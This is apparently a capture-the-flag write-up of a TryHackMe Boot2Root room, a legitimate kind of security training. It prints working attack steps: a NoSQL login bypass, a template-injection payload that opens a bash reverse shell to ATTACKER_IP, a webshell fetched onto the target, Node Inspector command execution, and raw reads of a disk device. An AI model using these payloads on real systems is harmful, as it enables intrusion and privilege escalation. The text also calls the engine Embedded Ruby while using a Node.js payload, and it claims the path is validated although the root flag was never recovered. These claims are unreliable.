TryHackMe Hacker Holidays 2026 — Byte Lotus Hotel: Do Not Disturb
Written By Aryan Giri
The "Do Not Disturb" room is a medium-difficulty Boot2Root challenge from TryHackMe's Hacker Holidays 2026 event. The objective is to track an unauthorized user's footprints, recover the user flag, and escalate privileges to root on the Byte Lotus poolside platform.
Authentication Bypass and Template Injection
Browsing to the target IP on port 80 reveals a login page. The username attendant is hinted at in the input box.
Intercepting the login request with Burp Suite reveals a NoSQL injection vulnerability. Modifying the password parameter bypasses authentication:
POST /login
username=attendant&password[$ne]=x
This successfully redirects to the /staff dashboard. The dashboard contains an editable message template:
Dear <%= guest %>, your Byte Lotus cabana is confirmed.
This confirms a Server-Side Template Injection (SSTI) vulnerability using Embedded Ruby (ERB) syntax. To gain a reverse shell, start a Netcat listener (nc -lvnp PORT) and inject the following payload into the guest parameter:
<%= process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"') %>
Clicking preview executes the payload and returns a shell.
Persistent PTY Webshell Deployment
In post-exploitation, standard reverse shells frequently drop or become unstable. To maintain a persistent, interactive session, I deployed my custom tool, Ary_WebShell_JS.
Ary_WebShell_JS
A browser-based interactive terminal webshell written in Node.js. Designed for authorized CTF competitions and security research environments where you need a full PTY shell via a single file upload. It requires zero external npm packages, utilizing system PTY bridges (script, python, socat, unbuffer). The frontend is powered by xterm.js with a Tokyo Night dark theme.
Repository: https://github.com/giriaryan694-a11y/Ary_WebShell_JS
Download the script to the attacker machine:
wget https://github.com/giriaryan694-a11y/Ary_WebShell_JS/raw/refs/heads/main/ary_webshell.js
Start a Python HTTP server on the attacker machine, then navigate to /tmp on the target (as the current directory restricts file writes) and download the script:
cd /tmp
wget http://YOUR_IP:8000/ary_webshell.js
Execute the webshell (defaults to port 8888):
node ary_webshell.js
Access http://127.0.0.1:8888 in the browser and authenticate with the default password: arywebshell123.
Click "New Session" to spawn a full PTY bash shell. Navigate to the user's home directory and retrieve the user flag.
cd ~
cat user.txt
Process Enumeration and Node Inspector
After obtaining a shell as poolside, I began standard Linux privilege escalation by checking sudo -l, SUID binaries, capabilities, cron jobs, and running linPEAS. None of these revealed a viable path. I then shifted focus to application enumeration, inspecting running processes with ps aux. A Node.js process owned by another user (pipeline) stood out. Inspecting its command line revealed the --inspect flag, indicating the Node Inspector was enabled on localhost (127.0.0.1:9229). Recognizing this as a developer debugging interface led me to investigate it further.
Checking listening ports with ss -lntp confirms the service:
Probing the endpoint verifies it is the Node Inspector:
curl http://127.0.0.1:9229/json/version
Attach to the inspector and enter the REPL:
node --inspect=127.0.0.1:9229
debug> repl
Execute commands using Node's internal C++ bindings to bypass standard module restrictions:
> process.binding('spawn_sync').spawn({file:'/bin/sh',args:['/bin/sh','-c','id'],stdio:[{type:'pipe',readable:1,writable:0},{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]}).output[1].toString()
Identify the root disk partition:
> process.binding('spawn_sync').spawn({file:'/bin/sh',args:['/bin/sh','-c','df -h; ls -la /dev/root /dev/nvme*'],stdio:[{type:'pipe',readable:1,writable:0},{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]}).output[1].toString()
Direct Disk Extraction and Lab Timeout
Read the root flag directly from the block device using debugfs or strings, bypassing filesystem permission checks:
> (function(){try{var r=process.binding('spawn_sync').spawn({file:'/bin/sh',args:['/bin/sh','-c','debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 2>&1 || strings /dev/nvme0n1p1 | grep -i thm 2>&1'],stdio:[{type:'pipe',readable:1,writable:0},{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]});var o='';if(r.output){for(var i=1;i<r.output.length;i++){if(r.output[i])o+=r.output[i].toString();}}return o||JSON.stringify(r);}catch(e){return e.toString();}})()
During the final extraction phase, the TryHackMe lab machine terminated due to a session timeout. Despite the interruption, the core exploitation path was successfully mapped and validated.
Technical takeaways from this engagement:
- NoSQL Injection to SSTI: Authentication bypasses often expose secondary injection points. Identifying the template engine (ERB) allowed for immediate remote code execution.
- Shell Stability: Relying on raw TCP reverse shells in volatile CTF environments leads to lost progress. Deploying a dedicated PTY webshell early ensures uninterrupted post-exploitation.
- Node Inspector Abuse: Developer debugging ports (
9229) bound to localhost are frequently misconfigured or left exposed. The REPL interface provides direct runtime access, enabling command execution without relying on standard OS binaries. - Direct Block Device Access: When standard file permissions restrict access to sensitive files, reading directly from the underlying block device (
/dev/nvme0n1p1) using tools likedebugfsorstringseffectively bypasses OS-level access controls.